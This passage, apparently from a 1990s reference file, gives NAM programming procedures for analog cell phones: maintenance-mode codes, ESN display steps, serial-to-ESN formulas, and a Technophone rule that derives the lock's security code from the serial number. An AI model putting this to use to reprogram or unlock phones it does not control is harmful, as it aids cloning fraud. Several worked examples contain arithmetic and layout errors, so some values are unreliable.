11 Option Bits (FCN 1)(1): 8 1100-0000
12 Option Bits (FCN 2)(2): 8 0001-0100
13 Option Bits (FCN 3)(3): 8 1111-0111
(1) Step 11: Local MIN Not Not Horn Radio Not
(0=Disabled) Use Opt Used Used Alert Mute Used
(1=Enabled)
(2) Step 12: Not Built-in Auto Full Not A/B Pref Home
(0=Disabled)Used Monitor Lock Lock Used Select Only Only
(1=Enabled)
(3) Step 13: Call in DTMF Not Dial Not Cumulative Resettable Indiv
(0=65 ms) Absence Interval Used Lock Used Timer Timer Timer
(1=Continuous)
Conversion of EB-2502 and EB-2503 serial number to ESN
(for serial numbers over 1,000,000)
(Last 6 digits of stamped Serial Number) + [(7th digit)
(262,144)]=ESN without prefix
Example #1: Serial Number on phone is 1,234,567
234,567 + [(1)(262,144)] = (496,711)
This phone's ESN is 13600496711
Example #2: Serial Number on phone is 3,234,567
234,567 + [(3)(262,144)]=(1,020,999)
This phone's ESN is 13601020999
Display ESN: Install Test Cable (Part #WWG18965BA)
Enter Maintenance Mode: * + 0 + 0 + 0 + 0 + 0 + #
Press * + 3 + SND
Enter 1 + 1 + SND
ESN will display in decimal. Since the display
shows 10 digits maximun, first digit of the prefix
(136) is hidden)
New Unlock Code: NAM
Multiple NAM Select: F + 8
System Select: F + 7 + X
X=1 Standard (AB or BA)
X=2 A Only
X=3 B Only
X=4 Home
-------------------------------------------------------------------------------
PANASONIC EB-500, CM-500, TP-500, EB-T10, EB-C10
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: PANASONIC
Programmer: Handset with PANASONIC programming adaptor
(WWG1865BA)
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Yes, requires conversion if serial
number is over 1,000,000 (See Conversion bellow)
Handset Programmable: Yes, with adaptor
Number of Channels: 832
Programming Sequence: Connect programming adaptor to transceiver
and 12 volts power supply Connect handset directly
to transceiver
Enter the following code: * + 0 + 0 + 0 + 0 + #
(to enter maintenance mode) * + 1 + SND (to
program NAM #1) or * + 2 + SND (to program NAM #2)
NAM #1 must be programmed before NAM 2 can be
input "In Use" and "No Svc" will illuminate if
improper data has been input
Enter individual data then press STO and the correct
2 digit location
Press STO + * + * to program NAM
(Press NAM to exit)
% Program NAM 1 %
Step # of Digits
01 System ID: 5 XXXXX
02 Mobile Numer: 10 XXX-XXX-XXXX
03 Preferred System: 1 0 (B) or 1 (A)
04 Initial Paging Channel: 3 333 or 334
05 Access Overload: 2 XX
06 Group ID: 2 XX
07 Dialed Digit Limit (00 for 32,
29 for 29, 28 for 28): 2 00
08 Station Class: 2 08
09 Frequently Dialed
Number for Location: 10 XXX-XXX-XXX
10 Lock Code: 2-4 XX, XXX or XXXX
11 Options (1): 8 11000XX0
12 Options (2): 8 0XX101XX
13 Options (3): 8 11010111
(1) Step 11 - Options [0=Disabled, 1=Enabled]
Local MIN Not Not Not Horn Radio Not
Use Opt Used Used Used Alert Mute Used
(2) Step 12 - Options [0=Disabled, 1=Enabled]
Not Built-in Auto Full Not A/B Pref Home
Used Monitor Lock Lock Used Select Only Only
(3) Step 13 - Options [0=65 milliseconds, 1=Continuous]
Call in DTMF Not Dial Not Cumulative Resettable Indiv
Absence Interval Used Lock Used Timer Timer Timer
% Programming NAM 2 %
Step # of Digits
01 System ID 2: 10 XXX-XXX-XXXX
02 Mobile Number 2: 5 XXXXX
03 Preferred System 2: 1 0 (B) or 1 (A)
04 Initial Paging Channel: 3 333 or 334
05 Access Overload 2: 2 XX
06 Group ID 2: 2 XX
The following two command sequences cause phone to exit maintenance mode.
STO + * + * (To store programmed information)
STO + # + # (No programmed information will be saved)
% Coversion of EB-500 serial number to ESN %
[for serial numbers 1,000,000 to 1,999,999]
(Stamped Serial Number)-(1,000,000) + (262,144) = ESN without prefix
Example: Serial Number is 1,234,567
(1,234,567) - (1,000,000) + (262,144) = (496,711)
The phone's ESN is 13600496711
% For serial numbers 2,000,000 to 2,999,999 %
(Stamped Serial Number) - (2,000,000) + (524,288) = ESN without prefix
% For serial numbers 3,000,000 to 3,999,999 %
(Stamped Serial Number) - (3,000,000) + (786,432) = ESN without prefix
Display ESN: Insert Program Adaptor
Enter Maitenance Mode: * + 0 + 0 + 0 + 0 + #
Press * + 3 + SND
Enter 1 + 1 + SND
ESN will display in decimal. Since the display
shows 10 digits maximum, first digit of the
prefix (136) is hidden. Press CHK to see the
missing "1"
Horn Alert: F + 4 + 2
New Unlock Code: NAM
System Select: F + 7 + X
X=1 AB or BA Standard
X=2 A Only
X=3 B Only
X=4 Home
% Conversion of EB-500 serial number to ESN %
[For serial numbers 1,000,000 to 1,999,999]
(Stamped Serial Number) - (1,000,000) + (262,144) = ESN without prefix
Example: Serial Number is 1,234,567
(1,234,567) = (1,000,000) + (262,144) = (496,711)
This phone's ESN is 13600496711
% For serial numbers 2,000,000 to 2,999,999 %
(Stamped Serial Number) - (2,000,000) + (524,288) = ESN without prefix
% For serial numbers 3,000,000 to 3,999,999 %
(Stamped Serial Number) - (3,000,000) + (786,432) = ESN without prefix
Display ESN: Insert Program Adaptor
Enter Maintenance Mode: * + 0 + 0 + 0 + 0 + #
Press * + 3 + SND
Enter 1 + 1 + SND
ESN will display in decimal. Since the display shows 10 digits maximin,
first digit of the prefix (136) is hidden. Press CHK to see the missing "1"
Horn Alert: F + 42
New Unlock Code: NAM
System Select: F + 7 + X
X=1 AB or BA Standard
X=2 A Only
X=3 B Only
X=4 Home
-------------------------------------------------------------------------------
PANASONIC EB 3500 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: PANASONIC
Programmer: Keypad with PANASONIC adaptor (Part #WWG1036A)
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Requires Conversion (See Conversion)
Handset Programmable: Yes, provided programming adaptor is availabe
Number of Channels: 832
Programming Sequence: Install fully charged battery and programming adaptor
Power On
Enter Maintenance Mode: * + 0 + 0 + 0 + 0 + #
Enter * + 1 + SND (to program NAM 1) or * + 2
+ SND (to program NAM 2) NAM 1 must be
programmed before NAM 2 can be programmed.
When programming NAM 2 only use steps (01-06)
Enter parameter information + STO and then the
Step # (i.e., to program System ID, XXXXX + STO + 01)
To recall any information already programmed into
phone, press RCL + Step Number
Press STO + * + * to write NAM information
Press STO + * + 4 to exit Maintenance mode
Step # of Digits
01 System ID: 5 XXXXX
02 Mobile Number: 10 XXX-XXX-XXXX
03 Preferred System: 1 0(B) or 1(A)
04 Initial Page Channel: 3 333 or 334
05 Access Overload: 2 XX
06 Group ID: 2 XX
07 Digital Dial Limit: 2 00=32 digits.
08 Station Class: 2 XX
09 Speed Dial Number: 12 XXXXXXXXXXXX
10 Lock Code: 2-4 XX, XXX or XXXX
11 Options (FCN 1)(1): 8 1101X000
12 Options (FCN 2)(2): 8 0XXX0XXX
13 Options (FCN 3)(3): 8 XXXX0111
Step 11:
Local MIN Not End-to Ringer Not Not Not
Use Opt Used End Silence Used Used Used
Step 12:
Built-In
Not Monitor Auto Full Not A/B Pref Home
Used Svc Only Lock Lock Used Select Only Only
Step 13:
Call in DTMF Send Dial Not Cumulative Resettable Indiv
Absence Interval Lock Lock Used Timer Timer Timer
% Conversion of EB-3500 serial number to ESN %
[For serial numbers 1,000,000 to 1,999,999]
(Stamped Serial Number) - (1,000,000) + (262,144) = ESN without prefix
Example: Serial Number is 1,234,567
(1,234,567) = (1,000,000) + (262,144) = (496,711)
This phone's ESN is 13600496711
% For serial numbers 2,000,000 to 2,999,999 %
(Stamped Serial Number) - (2,000,000) + (524,288) = ESN without prefix
% For serial numbers 3,000,000 to 3,999,999 %
(Stamped Serial Number) - (3,000,000) + (786,432) = ESN without prefix
Display ESN: Insert Program Adaptor
Enter Maintenance Mode: * + 0 + 0 + 0 + 0 + #
Press * + 3 + SND
Enter 1 + 1 + SND
ESN will display in decimal. Since the display shows 10 digits maximin,
first digit of the prefix (136) is hidden. Press CHK to see the missing "1"
New Unlock Code: NAM
Multiple NAM Select: F + 8
System Select: F + 7 + X
X=1 Standard AB or BA
X=2 A Only
X=3 B Only
X=4 Home
-------------------------------------------------------------------------------
PANASONIC HP600 (EB-3510), EBH-30 (EB-3511) Portables
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: PANASONIC
Programmer: Keypad with PANASONIC adaptor (Part #EB-X0754)
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Requires Conversion (See Conversion)
Handset Programmable: Yes, provided programming adaptor is
available or phone was manufactured after March 1,
1991.
Number of Channels: 832
Determine Phone's manufacturer date by checking the lable on the
back of portable. The lable shows 3 letters. The first letter is
the year (A=91,B=92, etc). The second letter shows the month
(A=January, B=February, etc) and the third letter displays the
manufacturer bach. A phone with label ACX was manufactured in
March 1991
Programming Sequence: Install fully charged battery and
programing adaptor if necessary.
Power On
Pre 3/91 Models: Enter Maintenance Mode:
* + 0 + 0 + 0 + 0 + #
Post 3/91 Models: Enter Maintenance Mode: * + 0 + # + 0 + * + 0
# of Digits
System ID: 5 XXXXX
Mobile Number Number: 10 XXX-XXX-XXXX
Preferred System: 1 0(B) or 1(A)
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Digit Dial Limt: 2 00=32 digits
Station Class: 2 XX
Speed Dial Number: 12 XXXXXXXXXXXX
Lock Code: 2-4 XX, XXX or XXXX
Options (FCN 1)(1): 8 11001000
Options (FCN 2)(2): 8 00010100
Options (FCN 3)(3): 8 11110111
Step 11:
Local MIN Not Not Ringer Not Not Not
Use Opt Used Used Silence Used Used Used
Step 12:
Not Built-in Auto Full Not A/B Pref Home
Used Monitor Lock Lock Used Select Only Only
Step 13: (0=65 milliseconds, 1=Continous)
Call-in DTMF Send Dial Not Cumulative Resettable Indiv
Absence Interval Lock Lock Used Timer Timer Timer
% Conversion of EB-3510 serial number to ESN %
[For serial numbers 1,000,000 to 1,999,999]
(Stamped Serial Number) - (1,000,000) + (262,144) = ESN without prefix
Example: Serial Number is 1,234,567
(1,234,567) = (1,000,000) + (262,144) = (496,711)
This phone's ESN is 13600496711
% For serial numbers 2,000,000 to 2,999,999 %
(Stamped Serial Number) - (2,000,000) + (524,288) = ESN without prefix
% For serial numbers 3,000,000 to 3,999,999 %
(Stamped Serial Number) - (3,000,000) + (786,432) = ESN without prefix
Display ESN: Insert Program Adaptor (PRE 3/91 Phones only)
Enter Maintenance Mode: * + 0 + 0 + 0 + 0 + # or
* + 0 + # + 0 + * + 0 + # (
if phone was manufacturerd after 3/91)
Press * + 3 + SND
Press 1 + 1 + SND
ESN will display in decimal. Since the display shows 10 digits maximum,
first digit of the prefix (136) is hidden. Press CHK to see the missing "1"
New Unlock Code: NAM
Multiple NAM Select: F + 8
System Select: F + 7 + X
X=1 Standard (AB or BA)
X=2 A Only
X=3 B Only
X=4 Home
-------------------------------------------------------------------------------
PANASONIC 6106, 6110, EB311 AND EB362
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: PANASONIC
Programmer: Handset with PANASONIC programming adaptor
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Yes, 6106 - No, 6110 (requires conversion)
Handset Programmable: Yes, provided programming adaptor is available
Number of Channels: 666 (6106) or 832 (6110)
Programming Sequence: Connect programming adaptor to phone
and 12 volt power supply
Power On
Enter the following passwords
* + 0 + 0 + 0 + 0 + # (wait for 0)
* + 1 + SND ( wait for 1)
5 + 0 + SND (display will Clear)
Enter individual data then press STO and the
correct 2 digit location (i.e. 01, 02, etc)
Write NAM information with STO + * + *
Steps # of Digits
01 System ID: 4 XXXX
02 Mobile Number: 10 XXX-XXX-XXXX
03 Lock code: 3-4 XXX or XXXX
04 Frequently Dialed #: 10 XXX-XXX-XXXX
05 Station Class: 2 XX
06 Initial Paging Channel: 3 XXX
07 Access Overload: 2 XX
08 Group ID: 2 XX
09 Options(1): 8 11X11100
10 Options(2): 8 00000100
11 Options(3): 8 11000011
% Manufacturer Options %
Step 9:
Local MIN Preferred EE Rep
Use Opt System Sig Opt Horn N/A N/A
1 1 0(B)-1(A) 1 1 1 0 0
Step 10:
Built-in Auto A/B Pref Sys Home
N/A Monitor Lock N/A N/A Sel. Only Only
0 0 0 0 0 1 0 0
Step 11: (0=65 milliseconds, 1=Continuous)
Call In DTMF Total Call Ind Call
Absense Interval N/A N/A N/A N/A Timer Timer
1 1 0 0 0 0 1 1
% Conversion of 6110 serial number to ESN %
[For serial numbers 1,000,000 to 1,999,999]
(Stamped Serial Number) - (1,000,000) + (262,144) = ESN without prefix
Example: Serial Number is 1,234,567
(1,234,567) = (1,000,000) + (262,144) = (496,711)
This phone's ESN is 13600496711
% For serial numbers 2,000,000 to 2,999,999 %
(Stamped Serial Number) - (2,000,000) + (524,288) = ESN without prefix
% For serial numbers 3,000,000 to 3,999,999 %
(Stamped Serial Number) - (3,000,000) + (786,432) = ESN without prefix
Horn Alert: F + 4 + 4
New Unlock Code: NAM
System Select: F + X
X=7 Home
X=8 B Only
X=9 A Only
X=# BA or AB
-------------------------------------------------------------------------------
PANASONIC 6104EA & 6104EC
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: PANASONIC
Programmer: Motorola 1801 - Celnum or Curtis
ESN Prefex DEC: 136
HEX: 88
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled (Enable if equiped)
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Horn Alert Code: END + # (simultaneously)
New Unlock Code: NAM
System Select: N/A
-------------------------------------------------------------------------------
PANASONIC 6104EB
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: PANASONIC
Programmer: Motorola 1801 - Celnum or Curtis
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Repertory Option: Enabled
Handsfree Option: Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Hex Address B7 B0
13 0 0 0 1 0 0 0 0
14 0 1 0 0 0 0 1 1
Hex Address 13 - B4 A/B Select
Hex Address 14 - B6 DTMF Interval
B1 Total Call Timer
B0 Individual Call Timer
Horn Alert: END + # (Simultaneously)
New Unlock Code: NAM
System Select: F + X
X=7 Standard AB or BA
X=8 Preferred Only (A or B)
X=9 Non-Preferred Only (B or A)
-------------------------------------------------------------------------------
PANASONIC 6105EA, 6105EB & 6105EX (100, 101, 102, 103, 104, 105)
-------------------------------------------------------------------------------
NAM Type: Tri-State
Manufacturer: PANASONIC
Programmer: Motorola 1801 - Celnum or Curtis
ESN Prefix DEC: 136
HEX: 88
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code Format: XXX
MIN Option: Enabled
Reportory Option: Enabled
Handsfree Option: Disabled
Local Use Option: Enabled
End-to-End Signalling: Enabled
Horn Alert Option: Enabled
System ID Format: XXXXX
Preferred System: A or B
Access Overload Class: XX
Group ID Format: XX
Initial Paging Channel: 333 or 334
Station Class: 00
Hex Address B7 B0
13 0 0 0 1 1 0 0 0
14 1 1 0 0 0 0 1 1
15 1 0 0 0 0 0 0 0
Hex Address 13 - B4 A/B System Selection
B3 16 digit display
Hex Address 14 - B7 Received Call Indicator
B6 DTMF Interval
B1 Total Call Timer
B0 Individual Call Timer
Hex Address 15 - B7 Last Digit Clear
Horn Alert: END + # (Simultaneously)
New Unlock Code: NAM
System Select: STO + # + X
X=1 Standard AB or BA
X=2 Preferred Only (A or B)
X=3 Non-Preferred Only (B or A)
-------------------------------------------------------------------------------
PHILIPS FM 9210 Transportable
-------------------------------------------------------------------------------
Requires Curtis or Bytek Programmer with Philips adaptor.
-------------------------------------------------------------------------------
PIONEER PCM 300 & 500
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Motorola
Programmer: Keypad
ESN Prefix DEC: 130
HEX: 82
ESN, S/N Match Required: No
Stamped Model No.: PCM 300 or PCM 500
Available Channels: 832
Program Sequence: See MOTOROLA Handset Programming
-Use Programming Sequence #6
Horn Alert: N/A
New Unlock Code: FCN + 0 + 6 digit Security Code +
new 3 digit Unlock Code
System Select: RCL + * + * + * (to scroll choices)
RCL (to store selection)
AB
BA
Home
A Only
B Only
-------------------------------------------------------------------------------
PIONEER PCM 600
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Motorola
Programmer: Keypad
ESN Prefix DEC: 130
HEX: 82
ESN, S/N Match Required: No
Stamped Model No.: PCM 600
Number of Channels: 832
Programming Sequence: See MOTOROLA Handset Programming
-Use program Sequence #6
New Unlock Code: FCN + 0 + 6 digit Security Code +
new 3 digit Unlock Code
System Select: RCL + * + * + * (to scroll choices)
STO (to enter selection)
AB
BA
A Only
B Only
Home
-------------------------------------------------------------------------------
PRESTIGE
-------------------------------------------------------------------------------
PRESTIGE PR 100, See AUDIOVOX PT 300
PRESTIGE PRT 200, See AUDIOVOX CTR 1900
PRESTIGE PRT 250, See AUDIOVOX MVX 500
-------------------------------------------------------------------------------
PUSLAR
-------------------------------------------------------------------------------
See MOTOROLA Handset Programming Instructions
-------------------------------------------------------------------------------
RADIO SHACK CROSS REFERENCE
-------------------------------------------------------------------------------
Radio Shack, or Tandy, products generally have to model numbers. The first is
a stamped model number, and the second is the catalog number. This list will
help identify the Radio Shack phones you mat encounter.
Stamped Model Marketed Model
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
17-1002 17-1002 Transportable
17-1003 CT200 Transportable
17-1005 CT201 Transportable
17-1006 CT1033 Transportable (See NOKIA-MOBIRA LX-11)
17-1050 CT301 Portable
17-1051 CT302 Portable (See NOKIA-MOBIRA P4000 & PT612)
17-1075 CT101 Mobile
17-1076 CT102 (See NOKIA-MOBIRA LX-11)
17-2001 CT300 Portable
17-3001 CT100 Mobile
17-8003 Canadian Product
TC1000 ENTREPRENUER (See Radio Shack CT300 & CT301)
-------------------------------------------------------------------------------
RADIO SHACK CT102
-------------------------------------------------------------------------------
See NOKIA MOBIRA LX-11
-------------------------------------------------------------------------------
RADIO SHACK CT1033 Transportable (17-1006)
-------------------------------------------------------------------------------
See NOKIA MOBIR LX-11
(Requires Curtis Programmer with MOBIRA adaptor or MOBIRA serive handset)
-------------------------------------------------------------------------------
RADIO SHACK CT302 Portable (17-1051)
-------------------------------------------------------------------------------
See NOKIA MOBIRA P4000 and PT612 Portable
-------------------------------------------------------------------------------
RADIO SHACK CT100 & CT101
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: Phone Handset or Service Handset
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes, provided current unlock code
is known. Otherwise service handset is necessary
Number of Channels: CT100 - 666 Channels
CT101 - 832 Channels
Programming Sequence: Power On
Enter Programming mode: *17*3001*XXXX*
where XXXX=1234 (new phones) else
XXXX=current unlock code
SEL button to increment steps
Once last item is entered then phone is
returned to normal operation.
# of Digits
System ID: 5 XXXXX
MIN Option: 1 1
Local Use: 1 1
Phone Number: 10 XXX-XXX-XXXX
Station Class: 2 XX
Initial Paging Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Lock Code: 4 XXXX
-------------------------------------------------------------------------------
RADIO SHACK CT300 & CT301
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: keypad or service adaptor
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes
Handset Programmable: Yes, provided security code is known,
otherwise test adaptor is necessary
Number of Channels: 666 (CT300)
832 (CT301)
Programming Sequence: Power On
Enter access code, * + 17 + * + 2001 + * +
XXXXX + * where XXXXX=12345 (from factory)
or XXXXX=Current security code.
HO-Id should appear in display
Press SEL to enter data and increment
Phone automatically writes NAM information
upon completion of final step.
# of Digits
System ID: 5 XXXXX + SEL
MIN Option: 1 1 + SEL
Local Use: 1 1 + SEL
Mobile Number: 10 XXX-XXX-XXXX + SEL
Station Class (CT301): 2 10 + SEL
Initial Page Channel: 3 333 or 334 + SEL
Access Overload: 2 XX + SEL
Group ID: 2 XX + SEL
Security Code: 5 XXXXX + SEL
New Unlock Code: SEL + 7 + 5 digit Security Code (current
Unlock code will display) + CLR + new
4 digit Unlock code + END
System Select: SEL + 1 + 1 + 1
One of the following prompts will display:
A A Only
B B Only
S AB or BA
H Home
Press CLR to exit
-------------------------------------------------------------------------------
RADIO SHACK CT200 (17-1003) Transportable & CT201 (17-1005) Transportable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: Handset, Service Handset or Curtis (with MOBIRA opt)
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 666
Programming Sequence: Enter Program Mode with the following sequence
* + 17 + * + 1003 + * + XXXX + *
XXXX=1234 (from factory)
XXXX=current security code
HO-Id should appear in display
Press SEL to enter data and increment
Phone automatically writes NAM information upon
completion of final step
Service Handset Instructions:
If using service handset, enter Local Mode
with: 01 + # While Noise sounds from handset
Enter programming mode with the following
sequence: 48 + #
Press each step number, desired parameter
then * to enter data
Example: System ID (0 + XXXXX + *)
Once data has been entered, press * to exit
Program Mode and return to Local Mode
To exit Local Mode, press 02# or Power Off
ESN can be read in Local Mode by pressing 44#
ESN will display in deciman. Press * to convert
ESN to hex
# of Digits
System ID: 5 XXXXX
MIN Option: 1 1
Local Use: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 00 (CT200) or 08(CT201)
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Preferred System: 1 0(B) or 1(A)
Group ID: 2 XX
Security Code: 4 XXXX
Horn Alert: SEL + 2
New Unlock Code: NAM
NAM Reading Seq: Enter Local Mode as listed above with serivce
handset
Press 49# to enter NAM, reading mode.
To read programming values, enter step number then
press *
To exit NAM reading mode, press * and phone
will return to Local Mode
To exit Local Mode press 02 + # or power OFF
System Select: SEL + 1 + 1 + 1 etc (to scroll choices)
S=Standard AB or BA
A=A only
B=B only
H=Home
-------------------------------------------------------------------------------
RADIO SHACK 17-8003 (Sold in Canada)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: Handset
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes
Stamped Model Number: 17-8003
Number Channels: 832
Programming Sequence: Power Off
Phone On
Power Phone ON while holding # and * simultaneously
Hold # and * until lights in top row stay
illuminated (ie "Roam" and "No Svc")
Enter Code: 57609891 (within 5 seconds)
Enter parameter for each step then press
STO to increment
Once all data has been entered, press SEND to
program phgoe and exit Program Mode.
# of Digits
System ID: 5 XXXXX + STO
Local Use: 1 1 + STO
Access (Min Opt): 1 1 + STO
Mobile Number: 10 XXX-XXX-XXXX + STO
Initial Paging Channel: 4 0333 or 0334
Access Overload: 2 XX
Preferred system: 1 0(B) or 1(A)
Group ID: 2 XX
Lock code: 4 XXXX
Press SEND to program phone exit.
-------------------------------------------------------------------------------
SHINTOM CM-7600
-------------------------------------------------------------------------------
See AUDIOVOX BC-20.
Also marked as the following model numbers:
A1000
CM50
COLT
GT500
LJ750
ST40
XR2000
832XL
4500
-------------------------------------------------------------------------------
SHINTOM 8000 SERIES
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: SHINTOM
Programmer: Handset
ESN Prefix DEC: 174
HEX: AE
ESN, S/N Match Required: Yes
Handset Programmable: Yes
Number of Channels: 832
Programming Sequence: Power On
Press FUNC + 5 to lock phone
Enter Program Mode: FUNC + # + 626 + # + FUNC
Model Number and Software Version will display
Press SEND to advance
ESN will display in Hexidecimal
Press SEND to advance
Each Time SEND is pressed, another programming
parameter is displayed
The parameter may be changed, press SEND
to advance
To reach a specific parameter, press END + Address
Location + END
NAM Information is written with the sequence
END + FUNC + END
The phone will initialize and be in the Lock Mode.
Enter the programmed Unlock Code.
# of Digits
Area Code: 3 XXX
Phone Number: 7 XXX-XXXX
System ID: 5 XXXXX
Access Overload: 2 XX
Group ID: 2 XX
Local Use: 1 1
MIN Option: 1 1
Lock Code: 3 XXX (Preset 123)
Auto Lock: 1 0(Off) or 1(On)
Call Restriction Code: 3 XXX (Preset 123)
Call Counter: 2 XX
Handsfree: 1 0(Off) or 1(On)
Horn Alert: 1 1
Horn Alert Auto
Shut off Time: 1 0(2 hours)
1(4 hours)
2(8 hours)
3(no time limit)
Cumulative Call: 2 XX (Preset 12)
-------------------------------------------------------------------------------
SONY CM-P11 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: SONY
Programmer: Handset
ESN Prefix DEC: 154
HEX: 9A
ESN, S/N Match Required: Yes
Stamped Model Number: CMP11K
Number of Channels: 832
Programming Sequence: Install charged portable battery
Power On
Enter #.+ 5118762 (To program NAM 1) or * +
413897 (To program NAM 2)
NAM 1 must be programmed before NAM 2
Once access code is entered, SID will display
Enter parameter then press SEND to increment
Press END to enter data and exit program mode
# of Digits
System ID: 5 XXXXX + SEND
Mobile Number: 7 XXX-XXXX + SEND
Unlock Code: 4 XXXX + SEND
Area Code: 3 XXX + SEND
Local Use: 1 1 + SEND
MIN Option; 1 1 + SEND
Station Class: 2 10 + SEND
Initial Paging Chan.: 3 333 or 334 + SEND
Access Overload: 2 XX + SEND
Preferred System: 1 (0=B or 1=A) + SEND
Group ID: 2 XX + SEND
End-to-End Signaling: 1 1 + SEND
Rep Opt: 1 1 + SEND
Horn Alert: 1 0 + SEND
Handsfree: 1 X + SEND
Options(1): 3 XXX
(1) Options Redial = 1
Roam Inhibit = 2
Add assigned numbers to enable function (ie, to enable both redial and
roam inhibit enter 1+2=3). A second example would be to enable redial
and disable roam inhibit you would enter 1 (1+0=1)
Display ESN: Power On
Enter 07386260 (within 10 seconds)
"Selftest No" will display
Enter 10+SEND
Multiple NAM Select: F + 4 (Simultaneously for 2 seconds)
New Unlock Code: NAM
System Select: F + 4 + 4 + 4 etc.. (To scroll choices)
Standard (AB or BA)
A Only
B Only
Home
-------------------------------------------------------------------------------
STANDARD
-------------------------------------------------------------------------------
See AT&T 1100 and 1200
-------------------------------------------------------------------------------
STS
-------------------------------------------------------------------------------
Not field programmable.
Must be returned to factory for programming.
For more information call GATEWAY at 314-567-8943
-------------------------------------------------------------------------------
TACTEL
-------------------------------------------------------------------------------
See AUDIOVOX CMT1000
-------------------------------------------------------------------------------
TECHNOPHONE PC 105 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Number of Channels: 666
Programming Sequence: Power Off
Power On (*Key)
Enter Access Code: # + XXXXXX + # + # + 953739 +
# + UP Key + # + 99 + # + #
(XXXXX=Security Code)
Power Off (Lock key)
Power on (*Key) Phone should show NAM number
provided correct code has been entered
Enter NAM number (1 to 7) then press *
Press Up Key to increment
Enter data for each step then press UP Key
to step thru NAM
Once Initial Page Channel is entered, display
will show "System Ident"
Enter Alpha designation for city with
number keys. Press key repeatedly to
step thru letters and press # key to store
each letter.
Press UP Key, "Save NAM" will display
Press SND to write NAM information + END
to exit Program Mode
# of Digits
System ID: 5 XXXXX + UP Key
Mobile Number: 10 XXX-XXX-XXXX + UP Key
Access Overload: 2 XX + UP Key
Group ID: 2 XX + UP Key
EX(MIN Opt): 1 1 + UP Key
Initial Page Channel: 3 333 or 334 + UP Key
(1) Determining Phone's Security Code
Subtract last six digits of phone's serial number from 999999
Rearrange the six positions of the remaining number with the
following formula:
Serial Number: ABCDEF Security Code: FBDEA
Position 1(A) Position 5(A)
Position 2(B) Position 2(B)
Position 3(C) Position 6(C)
Position 4(D) Position 3(D)
Position 5(E) Position 4(E)
Position 6(F) Position 1(F)
Example: Stamped Serial Number is 123456
999999
- 123456
========
876543
The Security code is 375486
New Unlock Code: MENU + 01 + MENU + 6 digit Security code
Unlock Code: (See above formula) + new 4 digit + CLEAR
System Select: UP ARROW + LITE (Toggles between AB or BA)
-------------------------------------------------------------------------------
TECHNOPHONE PC 115 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: TECHNOPHONE
Programmer: Keypad
ESN Prefix DEC: 162
HEX: A2
ESN, S/N Match Required: Yes
Number of Channels: 666
Programming Sequence: Power Off
Power On (ON/C Key)
Enter Access Code: # + XXXXXX + # + # + 953739 + #
+ MEM Key + # + 99 + MEM Key
(XXXXXX=Security Code (1))
Power Off
Power On (ON/C Key) Phone should show NAM
number provided correct code has been entered
Enter NAM Number (1 to 2) then press *
Press MEM Key to increment
Enter Data for each step then press MEM key to
step thru NAM
Once Initial Page Channel is entered, display
will show "System Ident"
Enter Alpha designation for city with
number keys. Press key repeatedly to select
thru letters, and press # key to store.
Press MEM Key, "Save NAM" will display
Press SND to write NAM information + END to exit
programming mode.
# of Digits
System ID: 5 XXXXX + MEM Key
Mobile Number: 10 XXX-XXX-XXXX + MEM Key
Access Overload: 2 XX + MEM Key
Group ID: 2 XX + MEM Key
EXP (MIN Opt): 1 1 + MEM Key
Initial Page Channel: 3 333 or 334 + MEM Key
(1) Determining Phone's Security Code -
Subtract last six digits of phone's serial number from 999999
Rearrange the six positions of the remaining number with the
following formula:
